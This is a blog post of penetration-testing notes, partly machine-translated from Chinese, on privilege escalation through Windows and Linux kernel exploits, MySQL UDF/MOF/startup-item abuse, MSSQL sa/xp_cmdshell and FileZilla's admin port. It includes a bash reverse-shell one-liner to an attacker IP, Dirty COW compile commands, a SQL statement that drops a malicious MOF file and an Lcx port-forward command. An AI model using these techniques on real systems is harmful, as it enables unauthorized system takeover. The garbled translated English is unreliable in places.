Network penetration - Privilege Escalation

Mention the right purpose:

  • Sometimes, access to execute shell commands in some way (such as uploading Webshell), but because of rights restrictions and can not execute certain commands. This time in order to "build on" the right to mention the need to use to make the original low-rights (such as allowing only a directory listing) -> higher authority (with the ability to modify the file).

Mention the right way :

  • Local privilege escalation vulnerability
  • Database privilege escalation
  • Third-party software provides the right

Local privilege escalation vulnerability windows:

Local privilege escalation vulnerabilities service:

  • iis6 iis5 (https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-020)
  • ftp (ftp service required permission itself is high, ftp, serv-u ftp, g6ftp, etc.)
  • smb (MS17-010) --- very successful in msf framework that can be returned to normal cmdshell
  • rpc(ms08-067)

System kernel privilege escalation vulnerability
Windows privilege escalation local system:

  • Collect patch information:
  • systeminfo
  • By contrast systeminfo patch number, looking for exp.
  •  
  • Exp need to be uploaded to the server:
  • Upload to.
  • Web site upload
  • The presence of any user site read-write executables directory
  • Windows2003
  • RECYCLER Trash
  • windows2008
  • C:\Windows\Temp\

Local privilege escalation vulnerabilities Linux :

  • Judging system version:
  • uname -a (Linux operating system kernel viewing information)
  • cat / proc / version (Linux operating system to view the current version information)
  • cat / etc / issue or cat / etc / redhat-release (Linux version of the current operating system to view release information)
  • After judged kernel version, went exp, then upload and compile and run
  • Get an interactive shell (rebound port
  • bash -i> & / dev / tcp / their ip / own port 0> & 1
  • Upload compile:
  •  Read-write executables directory / tmp    
  • gcc exp.c –o exp   或者有的需要加编译选项:例如脏牛漏洞的
  • gcc -pthread dirty.c -o dirty -lcrypt

数据库提权mysql:

  • 利用MySQL提权原理
  • 具有mysql的root权限,且mysql以system权限运行
  • 具有执行sql语句的权限,webshell或者外连皆可

UDF提权:

  • UDF:
  • 是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
  • 原理:
  • UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
  • 要想利用udf,必须上传udf.dll作为udf的执行库。
  • mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
  • 注意事项:
  • 1、判断mysql版本
  • mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
  • mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
  • 2、再mysql里输入
  • select @@basedir
  • show variables like ‘%plugin%’   寻找mysql安装路径
  • 该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
  • 流程:
  • 导出DLL
  • 创建用户自定义函数

MySQL数据库-开机启动项提权:

  • 原理:
  • 利用mysql,将后门写入开机自启动项。同时因为是开机自启动,再写入之后,需要重启目标服务器。(这个要求mysql的权限就很高,至少是管理员权限甚至是system
  • 目录:
  • C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • 或者C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\(windows2003及xp的路径)

MOF提权:

  • 提权原理:
  • mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
  • mof文件通过Mofcomp.exe编译执行。
  • 流程
  • 1、 首先找个可写的目录,将我们的MOF文件上传上去。
  • 2、 执行以下sql语句,mof文件内的命令便会执行。
  • select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
  • 注:仅适用于windows系统。
  • 3、利用2进制转换16进制完成。

MSSQL提权-sa用户:

  • 所谓利用数据进行提权,利用的其实是数据库的运行权限,所以只要我们满足以下条件即可进行提权:
  • 1、 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。
  • 2、 必须可以以某种方式执行sql语句,例如:webshell或者是1433端口的连接。
  • 3、能够通过配置文件找到系统的登录账户密码

过程:

  • MSSQL在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比管理员小;而在2003以上的版本,则为最高权限。
  • 获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
  • 通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
  • Sa作为mssql的默认最高权限的账户,在正常情况下,可以通过xp_cmdshell等方式执行系统命令。

第三软件提权:

  • Filezilla:
  •     
  • FileZilla是一个免费开源的FTP软件,分为客户端版本和服务器版本,具备所有的FTP软件功能。可控性、有条理的界面和管理多站点的简化方式使得Filezilla客户端版成为一个方便高效的FTP客户端工具,而FileZilla Server则是一个小巧并且可靠的支持FTP&SFTP的FTP服务器软件。
  • Filezilla和普通Web网站一样,前台有普通FTP账户执行上传、下载、删除等动作,后台则有一个管理员控制台来设置前台的账户以及账户的权限。 前台就是21端口,而后台默认是14147端口。我们的提权方式就是,直接非法连接14147端口,非法登录远程的Filezilla,创建一个拥有全部硬盘目录权限的FTP账户。
  • 查看系统运行的软件:
  • tasklist:
  •                 FileZilla Server exe
  • 端口转发:
  •  Lcx.exe工具:
  •                           Lcx.exe  -tran     对外开放端口     转发的ip   转发的端口
  •                           Lcx.exe –tran 14148  127.0.0.1 14147
发布了50 篇原创文章 · 获赞 167 · 访问量 1万+

Guess you like

Origin blog.csdn.net/cldimd/article/details/105040736